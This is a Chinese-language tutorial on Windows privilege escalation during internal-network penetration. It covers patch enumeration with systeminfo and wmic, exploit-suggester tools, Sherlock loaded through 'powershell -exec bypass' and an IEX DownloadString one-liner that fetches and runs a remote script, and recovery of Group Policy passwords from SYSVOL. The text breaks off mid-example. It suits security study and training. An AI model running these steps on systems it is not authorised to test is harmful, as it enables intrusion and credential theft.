在进入内网后,我们如果没有一个较高的权限,有很多命令是无法进行运行的,所以我们在开始内网漫游之前,提权是我们所必须要做的一个东西,这篇文章简单的讲述提权相关的知识,希望能对在学习内网提权的师傅们有所帮助。
在学习这个提权方式之前,我们首先要了解内核溢出漏洞,什么是内核溢出漏洞呢?
溢出漏洞利用,是指存在缓存溢出安全漏洞的计算机中,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址。在某些情况下,这些过量的字符能够作为可执行
代码来运行,从而使得攻击者可以不受安全措施的约束进行攻击行为。
了解了溢出漏洞,我们接下来再说溢出漏洞提权的原理就很简单了,即利用Windows系统中没有打补丁的内核溢出漏洞进行攻击。具体过程如下
1、查看当前用户权限
whoami /groups
如果是中等权限,即Medium Mandatory Level
,具体如下图
此时我们是没有权限进行添加用户等操作的,权限较低,此时就需要进行一个提权。
2、查找当前机器安装补丁
具体指令如下
systeminfo
补充:除了systeminfo
,还有个指令也可以查询补丁列表,具体如下
wmic qfe get caption,description,hotfixid,installedon
3、查询未修复内核漏洞
接下来可以利用在线网站进行辅助查询,查询这些补丁对应的内核漏洞,剩下的本机无补丁对应的内核漏洞,可能就是可以利用的漏洞。网站链接如下
http://blog.neargle.com/win-powerup-exp-index/
https://i.hacking8.com/tiquan/
wmic
指令得到的数据放在刚刚的在线网站上亦可找到对应的可能存在的Exp
4、执行EXP
找到了可能存在的Exp,找到对应版本,比如Winserver2003
就找Winserver2003
版本下的可用Exp
,然后进行尝试即可。
这里使用的工具是Windows Exploit Suggester
,具体链接如下
https://github.com/GDSSecurity/Windows-Exploit-Suggester
我们这里用本机下载,下载过后首先更新漏洞库,具体指令如下
python2 windows-exploit-suggester.py --update
执行指令过后生成一个xls文件,漏洞信息都存放在这里
接下来我们去目标机执行systeminfo >1.txt
,将目标机补丁列表信息提取出来
将此文件导出,放入我们的kali中,而后运行如下指令
python2.7 windows-exploit-suggester.py --database 2023-10-13-mssb.xls --systeminfo 1.txt
此时即得到可能存在的漏洞,而后尝试对应Exp即可
注:这个工具需要在python2
环境下运行,在运行工具前需先安装xlrd
的1.2.0
版本,具体指令如下
python2.7 -m pip install xlrd==1.2.0
默认的python2.7
是未安装pip
的,所以你需要先安装pip
,再安装xlrd
这个工具是上个工具的升级版,相对来说使用更方便些,最起码不用安装对应版本python
和xlrd
了,这里安装相对简单。工具链接如下
https://github.com/bitsadmin/wesng
下载过后运行如下指令更新漏洞库
python wes.py --update
运行过后将目标机上的systeminfo
信息导入到1.txt
文件中,而后运行如下指令
python .\wes.py .\1.txt
此时可以看到详细的漏洞数据,包括内核漏洞对应CVE编号及其补丁号以及漏洞危害等信息
Sherlock是一个在Windows下用于本地提权的PowerShell脚本。工具链接如下
https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1
首先这里为了绕过powershell
的执行策略(为了能够执行未授权的脚本),我们这里启动命令如下
powershell.exe -exec bypass
接下来我们使用Import-Module ./Sherlock.ps1
导入脚本,而后运行Find-AllVunlns
查找漏洞
如上图中标注的Appears Vulnerable
,即代表存在漏洞
注:远程导入脚本可以替代本地导入,远程导入脚本指令如下
IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1’)
当域管理员在使用组策略进行批量、统一的配置和管理,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,又因为\SYSVOL文件夹是在安装活动目录时自动创建的,所有经过身份验证的域用户、域信任用户具有读权限的活动目录的域范围内共享,所有的域策略都存放在SYSVOL下,虽然保存的密码通过AES 256进行加密,但密钥是公开在微软官网的,所以我们是可以进行解密的。因此,当管理员使用组策略修改过密码时,我们是可以通过组策略提权的。
具体示例如下:
这里我们选择组策略对象,右键新建,建立一个名为test
的GPO对象
接下来右键test,选择用户配置中的本地用户和组,右键,选择新建本地用户
接下来将Administrator
重命名为admin
,密码命名为Qq123456.
此时用户创建完成,接下来我们访问C:\Windows\SYSVOL\domain\Policies
文件夹
发现有多个文件夹,此时回到test用户查看其信息,可以发现其唯一ID